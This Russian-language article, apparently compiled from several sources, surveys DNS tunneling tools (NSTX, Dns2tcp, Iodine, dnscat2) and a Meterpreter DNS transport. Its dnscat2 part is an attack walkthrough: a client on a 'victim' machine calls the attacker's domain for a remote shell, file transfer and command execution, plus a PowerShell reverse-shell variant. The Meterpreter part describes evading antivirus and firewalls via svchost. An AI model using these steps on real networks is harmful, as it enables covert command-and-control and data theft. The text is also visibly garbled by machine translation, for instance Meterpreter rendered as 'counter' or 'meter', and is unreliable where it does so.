DNS-tunneling — это метод, который позволяет передавать любой трафик (фактически инициируя туннель) по протоколу DNS. Например, его можно использовать для получения полного доступа к Интернету из точки, где разрешено изменение имен DNS.
Чтобы организовать DNS-туннель, кто-то извне (то есть в точке, куда направлен туннель) должен принять его. Точка приема — это сервер имен для определенной зоны. Изнутри сети запрашиваются имена для этой зоны. Так передаётся трафик внутрь —>.
DNS-туннель не может быть запрещен простыми правилами брандмауэра при разрешении другого DNS-трафика. Это связано с тем, что трафик туннеля DNS и законные запросы DNS неотличимы. DNS-туннель может быть обнаружен по интенсивности запросов (если трафик через туннель большой), а также с помощью более сложных методов с использованием систем обнаружения вторжений.
Помимо уже упомянутых армий ботов и троянов, DNS-туннелирование активно используется для обхода личной и корпоративной защиты по всему миру. В частности, меня лично впечатлил случай, когда я наблюдал ситуацию с использованием такой технологии для маршрутизации ICQ / Jabber, несмотря на практически полную блокировку входящего трафика в крупную публичную сеть.
NSTX как вариант софта для тунелинга
Протокол передачи NameServer (NSTX) — одна из самых известных и фундаментальных реализаций идеи туннеля DNS. Этот комплекс создает двусторонний IP-туннель для передачи данных на основе любого легитимного транзитного DNS-трафика.
Сама история создания этой утилиты очень показательна. По словам автора пакета (пожелавшего остаться неизвестным), много лет летая по миру, он часто сталкивался с типичной ситуацией, когда, сидя в ближайшем аэропорту, отеле или кафе, для подключения к сети Local WiFi, вам необходимо купить платежные карты или перевести деньги на счет местного поставщика услуг.
Для одноразовой проверки электронной почты или одного или двух твитов покупка новой предоплаченной карты часто нецелесообразна, поэтому я выбрал другой путь. В таких ситуациях он использует NSTX для пересылки IP-трафика на свой DNS-сервер (который действует как принимающий прокси для доступа к большому Интернету). В то же время, исходя из богатого международного опыта, разрешение DNS почти всегда доступно в таких сетях даже в гостевом режиме. Фактически, этот программный пакет был разработан для личных нужд.
В силу популярности именно этого варианта туннелирования, совсем немного остановлюсь на установке и настройке его клиента (на примере Debian). Для начала устанавливаем весь пакет NSTX:
# apt-get install nstx
После чего в файле-настройке /etc/default/nstx следует сначала добавить адрес принимающего DNS-сервера (параметр NSTX_DOMAIN), а затем включить работу этого демона путем присвоения обоим параметрам ifup_tun0 и start_nstxd значения «yes».
Дополнительно нужно сконфигурировать и новый системный интерфейс:
iface tun0 inet static
address 10.0.0.1
netmask 255.0.0.0
После перезагрузки сервера, убедившись, что устройство туннелирования tun0 присутствует в системе, мы активируем пересылку всех пакетов на этот интерфейс. Я не буду останавливаться на этом тривиальном моменте — для каждой отдельной системы это можно сделать разными стандартными способами, в зависимости от используемых межсетевых экранов и других сетевых инструментов. Я обращаюсь к официальной документации для получения подробной информации о настройке сервера NSTX, который не намного сложнее, чем настройка клиента выше.
Dns2tcp
Практически полный аналог NSTX, за исключением того, что он только пересылает TCP-трафик. Автор этой утилиты Оливер Дибауэр попытался максимально «упростить» реализацию идеи DNS-туннелирования: не нужно устанавливать новые драйверы или интерфейсы для запуска и инициализации соединения на стороне клиента, и права администратора не требуются.
Настроить Dns2tcp намного проще, чем NSTX, поэтому отмечу лишь, что документация по этому проекту доступна здесь. Из-за простоты Dns2tcp в нем отсутствуют встроенные механизмы аутентификации и шифрования, поэтому его часто используют вместе с оболочкой из туннеля ssl, парная конфигурация которого отражена в большинстве примеров из официальной документации. Эта утилита входит в набор серверов и клиентов, доступных для автоматической компиляции в любой системе Unix.
Утилита lodine
Программа Iodine осуществляет туннелирование IPv4-трафика через DNS-сервер. Она может пригодиться в ситуации, когда доступ в интернет ограничен, но DNS-запросы разрешены.
Проект получил название по символам аббревиатуры IOD (IP Over DNS), а также в связи с тем, что йод в таблице Менделеева имеет 53-й порядковый номер, и это совпадает с 53-м портом, на котором работает служба DNS.
Iodine прост в использовании и не нуждается в особом конфигурировании. Программу нужно установить на сервере и клиенте, затем на сервере требуется делегировать программе какой-нибудь поддомен. Например, в случае использования BIND нужно добавить пару строчек.
t1 IN NS t1ns.mydomain.com. ; note the dot!
t1ns IN A 10.15.213.99
Желательно использовать короткое имя поддомена, чтобы оставить как можно больше места для полезного трафика.
После этого все DNS-запросы к домену t1.mydomain.com будут направляться к серверу iodined.
Установка на сервере:
./iodined -f 10.0.0.1 t1.mydomain.com
В клиенте запускаем команду:
./iodine -f -r 192.168.0.1 t1.mydomain.com
Сервер iodined открывает виртуальный интерфейс и слушает DNS-запросы на UDP-порту 53.
Разработчики предупреждают, что трафик в этом туннеле никак не шифруется, поэтому желательно использовать VPN (то есть двойное туннелирование) или SSH.
Еще один вариант создания DNS-тунелинга с помощью dnscat2
Эта популярная небольшая утилита включена в пакет DNS nbtools. Его разработка выделена в условно отдельный проект, который поддерживает создатель Рон Бовис. Как следует из названия, Dnscat пытается дублировать уже известные функции основного сетевого инструмента netcat с тем важным отличием, что весь трафик данных здесь передается через протокол DNS. Ресурсы Dnscat в основном ограничены двумя точками:
- Это возможность установки соединения и передачи информации (текстовых сообщений или файлов) между двумя произвольными хостами интернета;
- Возможность через уже установленное соединение, удаленно запускать команды системной оболочки (реализуется через опцию
–e), а также перенаправлять при этом вывод запускаемых команд на инициирующий соединение хост.
Интересной особенностью этой утилиты является то, что она может быть довольно всеядной. С одной стороны, это позволяет вам работать через обычный рекурсивный DNS (по умолчанию) с авторитетным сервером «волшебный домен», с другой — есть режим прямого подключения к DNS серверу, в этом случае вы можете работать в стандартный клиент-серверный режим (выполняется с аргументом —dns). В последнем варианте снижается скрытность и универсальность работы утилиты, но в качестве приятного бонуса резко возрастает скорость и надежность соединения, кроме того, на принимающей соединение стороне уже не нужно иметь именно авторитативный сервер имен.
Утилита поставляется вместе с исходниками в составе пакета nbtool (сразу с клиентской и серверной частью), и может быть скомпилирована под Linux, FreeBSD и Windows.
Тулза dnscat2 разработанна для создания командно-контрольного канала (C&C) через DNS протокол. Включает в себя серверную и клиентскую части.
Клиентская часть запускается на скомпрометированной машине. Когда запускаете клиента, то просто указываете доменное имя. Все запросы будут отправлены через локальный сервер DNS, который перенаправит их на авторизованный сервер DNS, который находится под вашим контролем.
Если у вас нет авторизованного DNS сервера, вы можете использовать соединение на свой хост по UDP/53 или любой другой выбранный порт.
Данные запросы будут отправляться быстро и будут выглядеть как обычный DNS траффик.
Серверная часть разработана для того, чтобы работать на авторизованном DNS сервере. При запуске, слушает UDP/53.
Установка dnscat2 server:
# apt-get update
# apt-get -y install ruby-dev git make g++
# gem install bundler
# git clone https://github.com/iagox86/dnscat2.git
# cd dnscat2/server
# bundle install
Теперь рассмотрим возможные сценарии работы с dnscat2.
Первый случай. На атакуемой машине доступен любой DNS траффик и имеется доступ к любым серверам DNS.
- Запускаем
dnscat2 serverна машине атакующего:
2-1
При запуске dnscat2 server начинает слушать порт 53/UDP и предоставит интерактивный shell для удаленного доступа к компьютеру, с которого был запущен dnscat2 client.
- Теперь запускаем
dnscat2 clientна удаленной машине.
2-2
Как только мы выполним подключение, dnscat2 server сообщит нам об этом ввиде номера сессии.
2-3
Доступ к установленной сессии мы получим с помощью команды: session -i 5965
2-4
А далее мы можем с клиентом выполнят стандартные операции, такие как
- Скачивание файлов
- Загрузка файлов
- Выполнение команд на жертве
- Переход в шелл
Ниже представлен список команд, доступный атакующему:
2-5
Соответственно все команды и действия будут «заворачиваться» в DNS протокол и единственное, что выдаст атакующего, это большая генерация DNS запросов в сети.
Еще, при установке соединения с неавторизованным DNS сервером, утилита dnscat2 в составе пакета DNS отправляет свое имя, что также может быть проанализировано со стороны администраторов сети.
Второй случай. С атакуемой машины доступен DNS траффик только к легитимным DNS серверам.
В этом случае процесс построения туннеля будет аналогичен предыдущему описанию, но с использованием следующих опций:
Для сервера:
# ruby ./dnscat2.rb mydnsserver.com
Для клиента:
C:\dnscat-win32.exe mydnsserver.com
Один из вариантов защиты – это запретить на компьютерах в локальной сети выполнение утилиты dnscat2 client или посторонних бинарных программ.
Но на этот случай мы можем воспользоваться методом запуска программ с помощью стандартного Windows Power Shell.
Для этих целей уже написан специальный скрипт dnscat2.ps1 (https://github.com/lukebaggett/dnscat2-powershell), который позволяет получить reverse shell на нашем dnscat2 server.
Соответственно, запускаем этот скрипт как показано на рисунке ниже.
В данном случае, у нас должны быть административные права для работы с powershell и запущен dnscat2 server. При выполнении скрипта мы получим shell нашей жертвы.
4-2
Вот мы и рассмотрели еще одну утилиту для сокрытия траффика.
DNS туннель для Meterpreter
Meterpreter — довольно известный и популярный агент удаленного управления в составе фреймворка Metasploit. Этот агент довольно гибкий и удобный, с множеством модулей и плагинов, а также типов API, что позволяет вам создавать свои собственные плагины и модули. Но, к сожалению, такие функции, как транспорт, являются частью ядра, а это значит, что здесь мы не отделаемся модулем. В настоящее время Meterpreter поддерживает следующие «сетевые» транспортные режимы:
- Binding TCP port
- Reverse connection over TCP/IP
- Reverse connection over HTTP
Разработанные компоненты
В текущей нашей версии «pre-release» мы сделали поддержку DNS транспорта только для OS Windows (для x64 и x86), который реализован в следующих компонентах:
- DNS MSF Bridge (по сути «прокси»)
- Meterpreter DNS transport (реализация транспорта в агенте)
- MSF stager payloads (шеллкоды, x64/x86)
DNS-мост MSF — один из ключевых компонентов системы. На самом деле это сценарий Python, который работает как служба DNS, которая будет отвечать за разрешение имен и возврат данных агенту в виде записей RR. Этот интерфейс является сутью организации DNS-туннеля для шеллкода или агента Meterpreter. В то же время эта же служба откроет обычный TCP-порт для подключения из консоли Metasploit через простой TCP.
Таким образом, пентестеру не нужно думать о том, как сделать обработчик MSF и портативный компьютер доступными для DNS. Вся работа заключается в том, чтобы сбросить этот скрипт на свой сервер (AWS Ec2), создать свой собственный домен, записи NS на нем и не беспокоиться о том, где и как работает пентестер — это чрезвычайно удобно (на мой вкус). Более того, это решение позволяет нескольким пентестерам работать с одним и тем же DNS, но с разной нагрузкой одновременно. Текущая версия поддерживает до 26 открытых сеансов счетчика одновременно. На данный момент у нас нет встроенной поддержки Ruby DNS в самой MSF, но работа над ней уже ведется сообществом Metasploit (в частности, RageLtMan).
Сам же туннель организован через два типа RR записей (на выбор): DNSKEY RR and AAAA RR. Это значит что все эти реализации запилины во всех компонентах, включая шеллкоды.
Собственно работа транспорта такова: обработчик MSF (пентестер) подключается к нашему сервису, отправляет полезную нагрузку (например бодипретер счетчика) в наш DNS и ждет … Затем традиционно эксплойт и наш шелл-код где-то запускаются, и кто-то использует туннель DNS, получает meterpreter, запускает его в контексте того же процесса, а сам meterpreter, используя тот же транспорт и DNS, устанавливает дуплексную связь с обработчиком MSF (пентестером). Затем пентестер может делать все, что захочет — мигрировать в другой процесс, открывать интерактивную командную оболочку, использовать mimikatz и т. д. и т.п. — все это будет скрыто нашим туннелем. На протяжении всего этапа killchain (после операции) мы используем один и тот же транспорт, и нам не нужно загружать дополнительные двоичные файлы DNScat2 на целевую машину или запускать Powershell, мы скрыты туннелем с самого начала. Кроме того, у нас нет накладных расходов на туннелирование самого TCP / IP (заголовков), только пакеты TLV и измеритель данных.
Отдельно добавлю несколько слов об организации туннеля со стороны шеллкода и измерителя. Если, например, DNSCat2 использует реальную реализацию разрешения имен (то есть сам реализует TCP / UDP-соединение), то в нашем случае мы используем Windows API: DnsQuery, который позволяет нам изменять реализацию сети. соединение с MS DNSCache, то есть сетевое соединение будет реализовано непосредственно из svchost.exe, а не через скомпрометированный или бэкдорный процесс (meterpreter). Это очень хорошая «функция», которая позволит вам обойти ряд проблем с EPP / AV и персональным брандмауэром, которые активно работают на «жертве» и отслеживают новые подозрительные соединения. Вот как это выглядит:
В последнее время появилось огромное количество вирусов и троянов, использующих протокол DNS в его ненормальном режиме работы. Использование стандартных DNS-запросов в качестве транспорта позволяет им эффективно преодолевать практически любые системы безопасности, которые тщательно создаются администраторами на входе в корпоративную сеть. Действительно, трафик DNS плохо (или почти не анализируется) стандартными системами IDS, так же как он открыт для прохождения в обоих направлениях практически на любом брандмауэре, что позволяет колонии вражеских вредоносных программ, даже в глубоком тылу, не терять связь со своей «родиной».
